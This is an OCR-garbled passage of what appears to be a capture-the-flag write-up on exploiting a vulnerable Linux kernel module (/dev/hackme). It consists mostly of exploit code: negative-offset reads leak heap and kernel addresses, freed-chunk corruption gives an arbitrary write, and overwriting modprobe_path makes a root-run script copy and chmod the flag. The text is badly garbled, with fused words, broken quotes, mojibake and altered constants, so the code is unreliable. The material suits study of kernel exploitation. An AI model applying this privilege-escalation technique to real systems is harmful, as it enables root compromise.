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cat/proc/kallsyms |

grepmodprobe_path

~# cat /| /kallsyms | grep modprobe_path
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JREARRG AT, HHtZ A T call_usermodehelperifi %
int__request_module( boolwait,

constchar*fmt, ...)

{

va_list args;

charmodule_name[MODULE_NAME_LEN];
unsignedintmax_modprobes;

intret;

// char modprobe path[KMOD_PATH_LEN] = "/sbin/modprobe";
char*argv[] = { modprobe_path,

-q",
"--" module_name,

NULLY};

staticchar*envpl] = {

"HOME=/",

"TERM=linux",

"PATH=/sbin:/usr/sbin:/bin:/usr/bin",

NULLY};

2N %3¢

staticatomic_tkmod_concurrent = ATOMIC_INIT( 0);
#defineMAX_KMOD_CONCURRENT 50 /* Completely arbitrary value - KAO */
staticintkmod_loop_msg;

va_start(args, fmt);

ret = vsnprintf(module_name, MODULE_NAME_LEN, fmt, args);
va_end(args);

if(ret >= MODULE_NAME_LEN)



return-ENAMET OOLONG;

max_modprobes = min(max_threads/ 2, MAX_KMOD_CONCURRENT);
atomic_inc(&kmod_concurrent);
if(atomic_read(&kmod_concurrent) > max_modprobes) {
/* We may be blaming an innocent here, but unlikely */
if(kmod_loop_msg++ <

5)

printk KERN_ERR

"request_module: runaway loop modprobe %sn",
module_name);

atomic_dec(&kmod_concurrent);

return-ENOMEM;

}

ret = call_usermodehelper(modprobe_path, argv, envp,
11 3047 = 22 18] ) o2 R P

wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);
atomic_dec(&kmod_concurrent);

returnret;

}
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structheap(
size tid;
size t*data;
size_tlen;
size_toffset;
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cin_kernel
f ( cmd >
( cmd ==
= 2LL * LODWORD(v17.id);
pool[v7];

= &pool[v7];
( v8 &8 vl17.offset + vl17.len <= (unsigned  inte4)vo9[1] )
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cout_kernel
f ( cmd ==
= 2LL * LODWORD(v17.id);
pool[v3];

&pool[v3];
( v4 )

f ( vi7.offset + v17.1len <= (unsigned __ int64)v5[1] )

(v17 .data, v17.offset + v4, v17.len);
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delete

vl7, a3, 32LL);
)

= 2LL * LODWORD{v17.id);
pool[vl
= &pool[v13];
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= v17.data;
2 = &pool[2 * LODWORD(v17.id)];
( *v12 )
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cout_kernel( 0,mem, 0x200, -0x200);

kernel_addr = *(( size_t*)mem) - 0x8472c0;

mod_tree addr = kernel_addr + 0x811000;

printf( "[*]kernel_addr: 0x%16lIxn",kernel_addr);

printf( "[*]mod_tree_add: 0x%16lIxn",mod_tree_addr);
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memset(mem, 'B', 0x100);

*(( size_t*)mem) = mod_tree_addr + 0x50;

cin_kernel( 4,mem, 0x100, -0x100);

memset(mem, 'C', 0x100);

alloc( 5,mem, 0x100);

alloc( 6,mem, 0x100);

cout_kernel( 6,mem, 0x40, -0x40);

ko_addr = *(( size_t*)mem) - 0x2338;
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BEEMNIUABRET-THRERIM ZHEGCFRMERFM " "modprobe_path™ KA E:
sys::("echo -ne '#!/bin/sh\n/binfcp /flag /home/pwn/flagin/bin/chmod 777 /home/pwn/flag' > fhome/pun/copy.sh");
system(“chmod +x /home/pwn/copy.sh”);
system("echo -ne "\uFF\AxFFVFF\AXFF" > /home/pun/sir™);
system("chmod +x /home/pwn/sir");
REERMAsystemEH KL ERFHNEKRE, MARRMHENER, cpirdEE pi/bin/cp;
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exp.c:
#include
#include
#include
structheap(
size_tid;
size_t*data;
size_tlen;
size_toffset;
%
intfd;
voidalloc(intid, char*data, size_tlen){
structheaph;
h.id = id;
h.data = data;
h.len = len;
ioctl(fd, 0x30000,&h);
}
voiddelete(intid {

structheaph;

h.id = id;



ioctl(fd, 0x30001,&h);

}

voidcin_kernel(intid, char*data, size_tlen, size toffset){
structheaph;

h.id = id;

h.data = data;

h.len = len;

h.offset = offset;

ioctl(fd, 0x30002,&h);

}

voidcout_kernel(intid, char*data, size_tlen, size_toffset}
structheaph;

h.id = id;

h.data = data;

h.len = len;

h.offset = offset;

ioctl(fd, 0x30003,&h);

}

intmain{

fd = open( "/dev/hackme”, 0);

size_theap addr,kernel_addr,mod_tree addr,ko_addr,pool_addr;
char*mem = malloc( 0x1000);

if(fd < O

printf( "[*JOPEN KO ERROR!n");

exit( 0);

}

memset(mem, ‘A, 0x100);

alloc( 0,mem, 0x100);

alloc( 1,mem, 0x100);

alloc( 2,mem, 0x100);

alloc( 3,mem, 0x100);



alloc( 4,mem, 0x100);

delete( 1);

delete( 3);

cout_kernel( 4,mem, 0x100, -0x100);
heap_addr = *(( size_t*)mem) - 0x100;

printf( "[*]heap_addr: 0x%16lIxn",heap_addr);
cout_kernel( 0,mem, 0x200, -0x200);
kernel_addr = *(( size_t*)mem) - 0x0472c0;
mod_tree addr = kernel_addr + 0x011000;
printf( "[*]kernel_addr: 0x%16lIxn",kernel_addr);
printf( "[*]mod_tree_add: 0x%16lIxn",mod_tree_addr);
memset(mem, 'B', 0x100);

*(( size_t*)mem) = mod_tree_addr + 0x50;
cin_kernel( 4,mem, 0x100, -0x100);
memset(mem, 'C', 0x100);

alloc( 5,mem, 0x100);

alloc( 6,mem, 0x100);

cout_kernel( 6,mem, 0x40, -0x40);

ko_addr = *(( size_t*)mem) - 0x2338;
pool_addr = ko_addr + 0x2400;

printf( "[*]ko_addr: 0x%16lIxn",ko_addr);
printf( "[*]pool_addr: 0x%16lIxn",pool_addr);
delete( 2);

delete( 5);

memset(mem, 'D', 0x100);

*(( size_t*)mem) = pool_addr + Oxc0;
cin_kernel( 4,mem, 0x100, -0x100);

alloc( 7,mem, 0x100);

alloc( 8,mem, 0x100);

*(( size_t*)mem) = kernel_addr + 0x03f960;

*(( size_t*)(mem+ 0x8)) = 0x100;



cin_kernel( 8,mem, 0x10, 0);
strncpy(mem, “/home/pwn/copy.sh0", 18);
cin_kernel( Oxc,mem, 18, 0);

system( "echo -ne '#!/bin/shn/bin/cp /flag /home/pwn/flagn/bin/chmod 777 /home/pwn/flag' >
/home/pwn/copy.sh");

system( "chmod +x /home/pwn/copy.sh");
system( "echo -ne Xfxfixfixff > /home/pwn/sir");
system( "chmod +x /home/pwn/sir");

system( "/home/pwn/sir");

system( "cat /home/pwn/flag");

returnO;

}
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exp.c
flag linuxrc
/I $ cat flag
: can't open 'flag': Permission denied
«ff 919280177400
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